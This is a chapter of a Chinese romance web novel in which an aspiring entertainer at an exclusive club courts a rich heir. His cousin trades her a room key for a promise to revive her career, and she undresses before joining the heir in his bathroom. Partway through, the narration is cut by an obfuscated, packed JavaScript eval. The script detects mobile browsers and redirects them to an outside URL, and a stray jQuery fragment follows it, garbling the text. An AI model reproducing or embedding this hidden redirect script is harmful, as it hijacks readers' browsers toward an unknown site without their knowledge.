3. 房卡

作品:《别样沉欢[京圈]

    岑晓芮第一次窝在一个陌生男人的怀里这么久,而且没有觉得尴尬,心中只有庆幸。


    她努力放松身体,不表现出自己的身体僵硬。


    对方身上的衣服材质柔软,摸上去手感极好,而且相比一般的男人身上有异味,他的身上就很好闻,靠近时,有一股淡淡的木质香味。


    岑晓芮在公司培训的时候,见识过不少大大小小的名牌,但是对方的穿着颜色浅淡,款式低调而不失时尚,全身上下看不到LOGO,让她无法分辨他的身家。


    不过看那个赵亦谦对他努力克制讨好的态度,岑晓芮心想,他一定来头很大。


    岑晓芮晚上表现得很乖巧,可能她一辈子最听话的时候,都没有像现在一样,动用自己所有的聪明才智去关注另一个男人的一言一行。


    魏政早就离开了,那赵亦谦被自己的表弟介绍过后,就没有提出离开,继续坐在他表弟身边,和另外三人聊了起来。


    赵亦谦就开启话题,说:“对了,表弟、见晨和佑湛你们都过来了,怎么没把允献一起叫过来。”


    岑晓芮分神注意着他们的聊天,想从他们的话里获取自己想要的信息,她连抱着她的男人叫什么名字都不知道呢。


    想要讨好对方,当然越了解对方,才能越投其所好。


    王佑湛接了话,他是这几人看起来最好说话的,回道:“他陪他的女朋友去了,别提这家伙,见色忘友。”


    张见晨把嘴上的烟拿了下来,说:“这狗东西,平时兄弟长兄弟短,现在遇到一个女人就把我们忘到脚后跟了。他找的那个女朋友,也就——”


    “见晨。”一直没说话的男人突然开了口,打断了张见晨的话,声音不高,但是语气有点重地说:“少喝点酒。”


    张见晨拿眼瞥了他一眼,嘴巴动了动,旁边的王佑湛开了口:“你今晚是喝的有点多了,少喝点吧,不是说要放松放松吗,你别光喝酒。”


    赵亦谦一看这个情形,赶紧跟着道:“对,对对,这个会所乐子挺多,听说见晨喜欢赛车,要不要去试试手?”


    岑晓芮把目光放到那张见晨的身上,想看他有什么反应,突然她感觉到胳膊一紧,是身后的男人握紧了手掌。岑晓芮回神,立刻将注意力转到男人身上。


    她回头,就对上身后男人的眼睛。


    对方眼神很深,眼里带着探究。岑晓芮一凛,他看她多久了?


    似乎是感觉到岑晓芮的紧张,这人收起目光,用手轻拍了拍她的手背,说:“是不是觉得无聊了?”


    语气没有什么情绪,但是声音好听,好像他真的在问岑晓芮的意见一样。


    不待岑晓芮回答,他抬起头对着赵亦谦道:“时间有点晚了,赛车就算了,有没有扑克,让他们几个玩玩吧,老是跟在我们这儿有点无聊。”


    随后,岑晓芮几个陪客就坐了一桌,打起了扑克牌。


    桌上的筹码几人均分,男人似乎没兴趣打牌,没坐到她旁边,走之前,拍拍她的肩膀,轻声说:“赢了算你的,输了算我的,好好玩。”


    明明一开始都挺好的,不知道为什么对方就忽然对她没兴趣了,竟是要离开的样子。


    岑晓芮后背的冷汗都出来了,她下意识回头,伸手抓住了对方的袖子。


    他的袖扣不知道是水晶做的,还是真的是钻石做的,冰凉凉的,岑晓芮抓紧的时候,晶石的棱角硌得手指疼。


    但是岑晓芮不敢松手,她仰着头,目光殷切地望着对方,一脸的惶惑无助。


    她是真的不知道怎么惹了对方的讨厌,脸上的表情也全是真情流露。


    “你要走了吗?”声音一出来,就带了一点哭腔,岑晓芮立马咬住嘴唇,只拿眼望着他。


    对方回头,听到她的声音,再看岑晓芮的脸。很美的一张脸蛋,精雕细琢、赏心悦目,现在急得要哭的小模样,也是梨花带雨的,很惹人怜爱。


    岑晓芮的表现让周围人都看了过来,尤其坐在牌桌上的三人,看完岑晓芮之后,彼此之间对对眼,都看到对方眼里的戏谑。


    他们也很可惜不能留到最后,但是谁也没有像岑晓芮一样,这么死缠烂打的。


    这些富家公子哥最不吃这一套,人家有兴趣的时候,你主动去舔,他们会觉得你来我往,叫情趣;没兴趣之后,你再去舔,人家回头给你一脚,还嫌你脏了他们的鞋底。


    岑晓芮要是听到他们的心声,一定会为自己叫屈。他们还有退路,让停下就算了,她有吗?她矜持什么?只要对方肯回头,她以后把他当祖宗供着都没问题。


    像是回应岑晓芮的心声,那人“嗯”了一声,岑晓芮清晰地听到了自己心碎的声音。


    她抓着他袖口的手指也松了下来,视线一片模糊,在眼泪掉下来之前,她赶紧低下头,不想让别人看到她流泪的样子。


    然而这个动作没做完,就被一只手制止,岑晓芮的下巴被迫抬起来。


    岑晓芮看到对方走近,微微弯腰看着她的脸,这边灯光足够亮,隔着一层泪光,岑晓芮看到他微垂的眼睫,那长长眼睫之下的黑色眼珠望着她。


    看到她哭了,他伸出手指,抹了抹她的眼角,动作温柔,但是也不紧不慢地。


    擦完眼泪,他把岑晓芮又打量了一遍,忽然笑了下来,这次的笑意浸入眼底,他说:“怎么那么黏人。”


    然后站直身体,靠近她把她抱了抱,说:“我要去隔壁开个房间睡一会儿,不是离开,你们玩完牌再来叫我。”


    这次,他是真走了。赵亦谦跟着一道走了,不过,他过了一会儿,又回了包厢,坐到了跟着他的女孩旁边,看她玩牌。


    岑晓芮牌技一般,不过,在听到这一桌的筹码一注是多少钱后,也不敢大意地集中起精神。


    没了那三人组在,赵亦谦放松许多,也跟那女孩调笑起来。那女孩见他脸上有笑模样,胆子也大起来,便问:“谦哥,刚刚的王少、张少之外,另外一位是什么人啊?听起来,是您的亲戚?”


    赵亦谦确实兴致颇高,闻言也不恼,抬眼特意扫了岑晓芮一眼,说:“你打探他做什么,嫌我不够格?”


    那女孩便放下牌,对他好一顿撒娇,赵亦谦这才不卖关子,说:“那是我表弟,这次来金陵玩。他的名字你应该没听过,不过,他家的公司你肯定听过,朝阳集团你应该知道吧。”


    在座的众人,包括岑晓芮之内,都露出恍然大悟的表情。


    在国内,朝阳集团的名字实在如雷贯耳,坊间一直流传着一句话,大意是每个国人从生到死,都活在朝阳集团的业务之内,可见它们的业务范围涉猎


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084465|179508||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    之广。


    桌上那个陪过张见晨的女孩就好奇地问:“那他叫什么名字啊?”


    赵亦谦却不说了,无论靠着她的女孩怎么摇他的胳膊都只是摇头,最后烦了,便啧了一声,目光一转,放到了岑晓芮身上,指着岑晓芮说:“你们就算了,我看只有她有本事能知道我表弟的名字。”


    说着,他也不管众人的反应,起身站起来,说:“牌局也差不多了,你们算算筹码吧。”


    又把岑晓芮单独点出来,带着她出了包厢,把一张房卡给她:“我表弟在睡觉,你去叫他吧。”


    岑晓芮拿着这张房卡,抬头看向赵亦谦。赵亦谦也在看着她,目光玩味,看起来像打量,又像是一种评估。


    在岑晓芮忍不住移开目光的时候,他开了口,说:“你别怕,你的事我已经听说了。岑晓芮是吧,你今晚的表现很好,我表弟挺喜欢你的,你呢,要是有本事在房间留一夜,我就帮你个忙,让重新回到星耀。”


    岑晓芮惊讶地看着他,赵亦谦迎着她的目光,嘴角一点一点勾起。


    他从口袋里掏出一根烟点上,声音带着笑意,笃定无比地说:“杨安妮?你放心,十个杨安妮我都能帮你解决。”


    杨安妮是安妮的本名,出道之后,她就把姓氏去掉,只叫自己安妮。


    岑晓芮也是跟安妮是一个经纪人,甚至她没红之前就认识她,才知道的。大众层面,她的真名从没有公布过。


    但是这个赵亦谦却知道。


    岑晓芮握紧房卡,在他隔着白色烟圈的目光注视下,点点头,表示自己知道了。


    赵亦谦喜欢岑晓芮的识趣,挥挥手,让她快去。岑晓芮听话地转身,朝着房卡上写着的房间号走出去。


    也就是一个转弯的功夫,她就找到了房间。


    站在门口,看着闭合的房间门,她无端地感觉到了紧张。


    房间门和这间会所延续着同一种风格,高雅又有格调。岑晓芮盯着房门上的罗马数字,深吸一口气,伸手去刷房卡。


    “滴”一声,房门解锁自动打开。


    房间内的灯光似乎是打开了,有鹅黄色的暖光从门缝里泄露出来。


    岑晓芮心想难道起床了?她心里一紧,伸手推门入内。


    地上铺着柔软厚重的地毯,吸掉所有足音。房间是个套间,有个不大不小的客厅,沙发、茶几、电视一应俱全,卧室在里面,房门半开着,岑晓芮没看到人。


    她站在门口,提高声音喊道:“你起床了吗?”


    声音落下,好一会儿都没有人回答。


    岑晓芮估计对方还没有起床,她脱掉高跟鞋,没穿酒店给的拖鞋,赤着脚走过客厅,径自进入卧室。


    哪想卧室也没看到人,岑晓芮一怔,接着听到了流水声。


    她看向卧室附着的浴室。


    浴室的隔断是玻璃的,似乎所有酒店都是这种设计,哪怕洗澡都充分照顾入住酒店的情侣的情趣。


    岑晓芮看着浴室门,不知道看了多久,她吸了口气,然后闭了闭眼睛,伸手把身上的抹胸、短裤都脱了下来,随手扔在地上。


    是啊,她从来没有退路。她矜持什么呢。


    矜持不值钱。


    随后,她坚决、笔直地朝浴室走过去,拉开了那扇门。